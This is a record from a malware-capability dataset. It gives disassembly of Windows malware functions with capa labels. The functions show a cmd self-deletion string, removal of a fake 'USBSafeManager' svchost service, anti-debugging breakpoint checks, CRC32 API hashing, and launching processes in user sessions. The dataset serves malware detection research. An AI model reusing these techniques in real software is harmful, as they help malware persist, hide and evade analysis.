joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100062d0
Capabilities:
Create process on windows
Delete registry key

Disassembly:
sub esp, 0x24c
push str.SOFTWAREUsorisBackup
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
cmp dword [0x1000d440], 0
jne 0x100062f9
cmp dword [esp + 0x250], 0
je 0x100062fe
call fcn.100087f0
push esi
push 0x400
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10006393
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 4], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
mov ecx, dword [0x1000d450]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [esp + 8]
push 0x3c
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 8]
mov dword [esp + 8], 0x3c
push eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x1c], str.cmd.exe
mov dword [esp + 0x20], esi
mov dword [esp + 0x10], 0x808400
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x4b
push str.GlobalRMSServer
lea eax, [esp + 0x4c]
push str._s_c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x44]
push eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x100063d0
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x24c
ret
Function at 0x10006c60
Capabilities:
Modify service
Query service configuration
Query service status
Start service

Disassembly:
sub esp, 0x20
push esi
mov esi, dword [esp + 0x28]
test esi, esi
je 0x10006d22
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0
push eax
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x10006cf2
mov eax, dword [esp + 0x28]
push edi
push eax
push 8
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10006cf1
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0xc]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x10006ce1
cmp dword [edi + 4], 2
je 0x10006ce1
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 4
jne 0x10006d09
test eax, eax
jne 0x10006d18
push dword [esp + 0x2c]
push dword [esp + 0x34]
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov eax, 1
pop esi
add esp, 0x20
ret
xor eax, eax
pop esi
add esp, 0x20
ret

Function at 0x10006d30
Capabilities:
Create process on windows
Set environment variable

Disassembly:
sub esp, 0x15c
lea eax, [esp + 0x54]
push esi
push 0x105
push eax
call sub.NTDLL.dll_RtlZeroMemory
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x58]
push str.wuapihost.exe
push dword [0x1000d450]
push str.__s_s_
push eax
call esi
mov ecx, dword [esp + 0x174]
add esp, 0x10
test ecx, ecx
jle 0x10006d83
push ecx
lea ecx, [esp + 0x5c]
add eax, ecx
push str._w__d
push eax
call esi
add esp, 0xc
push 0x44
lea eax, [esp + 0x18]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea eax, [esp + 8]
push eax
call sub.NTDLL.dll_RtlZeroMemory
cmp dword [0x1000d47c], 0
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov dword [esp + 0x14], 0x44
mov dword [esp + 0x1c], str.WinSta0Default
jne 0x10006dc6
push str.RunAsInvoker
push str.__compat_layer
call esi
push edi
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [0x1000d47c], 0
mov edi, eax
jne 0x10006e01
push 0
push str.__compat_layer
call esi
test edi, edi
pop edi
je 0x10006e25
push dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 4]
call esi
mov eax, 1
pop esi
add esp, 0x15c
ret
xor eax, eax
pop esi
add esp, 0x15c
ret
Function at 0x100078f0
Capabilities:
Hash data with crc32
Parse pe header

Disassembly:
sub esp, 0x34
push ebx
push ebp
mov ebp, dword [esp + 0x40]
mov ebx, 1
mov dword [esp + 8], ebx
test ebp, ebp
je 0x10007ac7
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x10007ac7
mov eax, dword [ebp + 0x3c]
add eax, ebp
mov dword [esp + 0x24], eax
cmp dword [eax], 0x4550
jne 0x10007ac7
mov eax, dword [eax + 0x78]
add eax, ebp
mov dword [esp + 0x18], eax
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
add ecx, ebp
mov dword [esp + 0x20], ecx
add edx, ebp
mov ecx, dword [eax + 0x24]
add ecx, ebp
mov dword [esp + 0x28], edx
mov dword [esp + 0x1c], ecx
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
jbe 0x10007ac7
push esi
push edi
mov edi, dword [esp + 0x50]
mov esi, dword [edx + ecx*4]
add esi, ebp
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0
call sub.NTDLL.dll_RtlComputeCrc32
mov ecx, eax
xor esi, esi
xor ecx, dword [esp + 0x54]
test edi, edi
jle 0x10007aa7
mov eax, dword [esp + 0x4c]
cmp ecx, dword [eax]
je 0x100079a1
inc esi
add eax, 0x10
cmp esi, edi
jl 0x10007990
jmp 0x10007aa7
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x14]
movzx eax, word [ecx + eax*2]
mov ecx, dword [esp + 0x28]
mov edi, dword [ecx + eax*4]
add edi, ebp
je 0x10007a88
mov ecx, dword [esp + 0x20]
cmp edi, ecx
jb 0x10007a88
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0x7c]
add eax, ecx
cmp edi, eax
jae 0x10007a88
push edi
call dword [sym.imp.SHLWAPI.dll_StrDupA]
mov ebx, eax
test ebx, ebx
je 0x10007a9f
push 0x2e
push ebx
mov dword [esp + 0x24], 0
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov ebp, eax
test ebp, ebp
je 0x10007a76
mov byte [ebp], 0
inc ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x10007a24
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x18], eax
test eax, eax
je 0x10007a76
push ebp
mov dword [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebp
push 0
call sub.NTDLL.dll_RtlComputeCrc32
mov ecx, dword [esp + 0x54]
xor eax, ecx
push ecx
mov dword [esp + 0x38], eax
lea eax, [esp + 0x38]
push 0x10
push eax
push dword [esp + 0x24]
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
call fcn.100078f0
mov edi, dword [esp + 0x50]
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [esp + 0x1c], 0
mov ebx, dword [esp + 0x10]
je 0x10007aa3
mov eax, dword [esp + 0x4c]
add esi, esi
mov dword [eax + esi*8 + 0xc], edi
xor eax, eax
test edi, edi
cmove ebx, eax
mov dword [esp + 0x10], ebx
jmp 0x10007aa3
mov ebx, dword [esp + 0x10]
mov edi, dword [esp + 0x50]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x20]
inc ecx
mov ebp, dword [esp + 0x48]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x14], ecx
cmp ecx, dword [eax + 0x18]
jb 0x10007967
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x34
ret
Function at 0x100087f0
Capabilities:
Delete registry key
Delete registry value

Disassembly:
sub esp, 0x10c
push 1
push str.USBSafeManager
call fcn.100035b0
add esp, 8
test eax, eax
je 0x100088e5
cmp dword [0x1000d47c], 0
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
je 0x10008886
push 0x10009390
push 0
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x18]
push str._s_s_c_s
push eax
call edi
add esp, 0x18
mov dword [esp + 4], 0
lea eax, [esp + 4]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x24]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10008886
push str.USBSafeManager
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.USBSafeManagerGrp
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x18]
push str._s_s_c_s
push eax
call edi
add esp, 0x18
lea eax, [esp + 8]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x10009390
push str.USBSafeManager
push str.Services_
lea eax, [esp + 0x14]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
call edi
add esp, 0x14
lea eax, [esp + 8]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
add esp, 0x10c
ret

Function at 0x100088f0
Capabilities:
Check for software breakpoints

Disassembly:
mov edx, dword [esp + 4]
push esi
mov cl, byte [edx]
test cl, cl
je 0x10008905
cmp cl, 0x90
je 0x10008905
cmp cl, 0xcc
jne 0x10008923
mov esi, dword [esp + 0xc]
mov eax, 1
cmp esi, eax
jbe 0x1000891c
cmp byte [eax + edx], cl
jne 0x10008923
inc eax
cmp eax, esi
jb 0x10008912
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x10008ba0
Capabilities:
Create process on windows
Get session information

Disassembly:
sub esp, 0x78
push ebx
push ebp
push esi
xor esi, esi
xor ebx, ebx
push edi
mov edi, dword [esp + 0x90]
lea ebp, [esi + 1]
cmp edi, 0xffffffff
jne 0x10008c22
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 0
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x28], 0
push eax
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsA
test eax, eax
je 0x10008c5e
mov edx, dword [esp + 0x24]
xor ecx, ecx
mov ebp, dword [esp + 0x20]
mov eax, ebp
test edx, edx
jle 0x10008c15
cmp dword [eax + 8], 0
je 0x10008c0e
inc ecx
add eax, 0xc
cmp ecx, edx
jl 0x10008bf3
push ebp
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebp, 1
jmp 0x10008c5a
mov edi, dword [eax]
mov esi, 1
push ebp
call sub.WTSAPI32.dll_WTSFreeMemory
mov ebp, 1
jmp 0x10008c5a
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 0
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x30], 0
push eax
push 8
push edi
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10008c5e
mov eax, dword [esp + 0x28]
push eax
cmp dword [eax], 0
cmove esi, ebp
call sub.WTSAPI32.dll_WTSFreeMemory
test esi, esi
jne 0x10008c7b
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x78
jl 0x10008bb5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push edi
call sub.WTSAPI32.dll_WTSQueryUserToken
test eax, eax
je 0x10008dc1
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 1
push 1
push 0
push 0x2000000
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x10008dc1
push 4
lea eax, [esp + 0x18]
mov dword [esp + 0x34], 0
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x30]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push 0x13
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10008d00
mov edi, dword [esp + 0x10]
mov dword [esp + 0x14], edi
jmp 0x10008d0a
push dword [esp + 0x10]
call ebx
mov edi, dword [esp + 0x14]
push dword [esp + 0x18]
call ebx
test edi, edi
je 0x10008dc1
push 0
push edi
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
mov ebp, 0x20
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
mov ecx, 0x420
push 0x44
lea eax, [esp + 0x48]
cmovne ebp, ecx
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea eax, [esp + 0x38]
mov dword [esp + 0x48], 0x44
push eax
mov dword [esp + 0x54], str.Winsta0Default
call sub.NTDLL.dll_RtlZeroMemory
xor esi, esi
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x48]
push eax
push 0
push dword [esp + 0x28]
push ebp
push 0
push 0
push 0
push dword [esp + 0xac]
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x10008da4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x78
jl 0x10008d66
jmp 0x10008db0
push dword [esp + 0x38]
call ebx
push dword [esp + 0x34]
call ebx
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10008dbe
push eax
call sub.USERENV.dll_DestroyEnvironmentBlock
push edi
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78
ret
Function at 0x1000bb35
Capabilities:
Get common file path
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1000bb61
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0
call fcn.10010529
add esp, 0xc
jmp 0x1000bb97
lea eax, [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1000bb7e
push 0x1a57
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
jmp 0x1000bb97
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1000bb97
push 0x1905
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esp, ebp
pop ebp
ret
Function at 0x1000c10e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1000c13d
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
push 0
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.10024510
add esp, 0xc
jmp 0x1000c1c1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1000c1a6
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1000c187
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 3
jge 0x1000c1a4
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x24]
call fcn.10029f5b
mov dword [eax], 0xfdf99ff6
jmp 0x1000c17c
jmp 0x1000c1c1
push 0x17dc
push 0
push 0x80
push 0xea1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret
Function at 0x10010749
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x100107d1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10010787
push 0x2139
push 0
push 0x5f8
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x100107cf
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x100107b5
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x100107cf
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x1c]
call fcn.10029f5b
or dword [eax], 0xffffffff
jmp 0x100107aa
jmp 0x10010810
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
push 0x63d2
push 0x4302
push dword [ebp - 0x20]
push 0x2a7f
push 0x3d12
push 0x6496
push dword [ebp - 0x24]
push 0x742b
push 1
push 0x5fc3
call fcn.100105ac
add esp, 0x28
mov esp, ebp
pop ebp
ret
Function at 0x100165b5
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10016616
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100165fd
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x100165fb
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
jmp 0x10016614
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x10016658
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x2c], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x30], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
push dword [eax]
mov eax, dword [ebp - 0x28]
push dword [eax]
push 0x72d2
push 0
push dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
push dword [eax]
call fcn.1000c311
add esp, 0x1c
mov esp, ebp
pop ebp
ret
Function at 0x10022f22
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10022f6c
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10022f53
push 0x1a57
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
jmp 0x10022f6a
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x10022f84
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
push 0
push dword [ebp - 0x14]
push 0x2693
call fcn.1000a85a
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x10023ee0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006911b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
push esi
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10023f1d
push 0x76c9
push 1
push 0x4fc9
call fcn.100240d7
add esp, 0xc
jmp 0x100240c8
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x38], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x10023f44
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
jmp 0x100240c8
mov dword [ebp - 0x2c], 0x161c
cmp dword [ebp - 0x2c], 0x1109
jge 0x10024032
call fcn.1004fb2a
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0x10008188
push 0x1000818c
call fcn.1004ffbf
add esp, 0xc
call fcn.1004fb2a
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0x10008194
push 0x10008198
call fcn.1004ffbf
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10029688
and dword [ebp - 4], 0
lea eax, [ebp - 0x30]
push eax
mov ecx, 0x1065acf0
call fcn.10029710
lea edx, [ebp - 0x60]
mov ecx, 0x1065acf0
call fcn.1002e1ac
and dword [ebp - 0x1c], 0
jmp 0x10023fcc
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x30]
jge 0x10024026
lea edx, [ebp - 0x60]
mov ecx, 0x1065acf0
call fcn.1002e1ac
lea ecx, [ebp - 0x60]
call fcn.100296f7
dec eax
mov dword [ebp - 0x14], eax
jmp 0x10023ff6
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x10024015
push dword [ebp - 0x14]
lea ecx, [ebp - 0x60]
call fcn.100296e3
mov dl, byte [eax]
mov ecx, 0x1065ac38
call fcn.1002e3fb
jmp 0x10023fef
push fcn.1002e156
mov ecx, 0x1065ac38
call fcn.10029b29
jmp 0x10023fc5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.100296c8
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov esi, dword [eax]
push 2
mov ecx, dword [ebp - 0x18]
call fcn.10029f5b
cmp esi, dword [eax]
jge 0x10024066
mov dword [ebp - 0x20], 1
jmp 0x1002406a
and dword [ebp - 0x20], 0
push 2
mov ecx, dword [ebp - 0x18]
call fcn.10029f5b
mov eax, dword [eax]
imul eax, dword [ebp - 0x20]
test eax, eax
je 0x10024092
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp - 0xd]
test eax, eax
je 0x10024090
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
jmp 0x100240c8
mov dword [ebp - 0x48], 0
push 0
mov ecx, dword [ebp - 0x18]
call fcn.10029f5b
mov esi, eax
push 2
mov ecx, dword [ebp - 0x18]
call fcn.10029f5b
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x100240be
mov dword [ebp - 0x24], 1
jmp 0x100240c2
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10024707
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10024747
lea eax, [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10024732
push 0x1370
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10024742
push 0x1ed
push 0x784
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x100247c9
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x100247b0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x10024791
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 3
jge 0x100247ae
mov eax, dword [ebp - 8]
push dword [eax]
mov ecx, dword [ebp - 0x24]
call fcn.10029f5b
mov dword [eax], 3
jmp 0x10024786
jmp 0x100247c9
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100247c9
push 0
push 0x25f8
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esp, ebp
pop ebp
ret
Function at 0x1004474d
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10069b44
call fcn.10068648
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 0x14], 0xcfd
cmp dword [ebp - 0x14], 0xe64
push edi
mov dword [ebp - 0x10], esp
jle 0x100447a3
xor esi, esi
xor edi, edi
xor ebx, ebx
mov eax, ebx
mov ecx, 0x1065ac38
xor eax, edi
xor eax, esi
cdq
push edx
push eax
call fcn.10029d59
inc ebx
cmp ebx, 0x4ef5
jl 0x10044775
inc edi
cmp edi, 0x6971
jl 0x10044773
inc esi
cmp esi, 0x7f48
jl 0x10044771
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0xcaa
jge 0x100447bf
mov edx, 0x10008654
mov ecx, 0x1065ac38
call fcn.1002e1d1
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
xor edx, edx
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret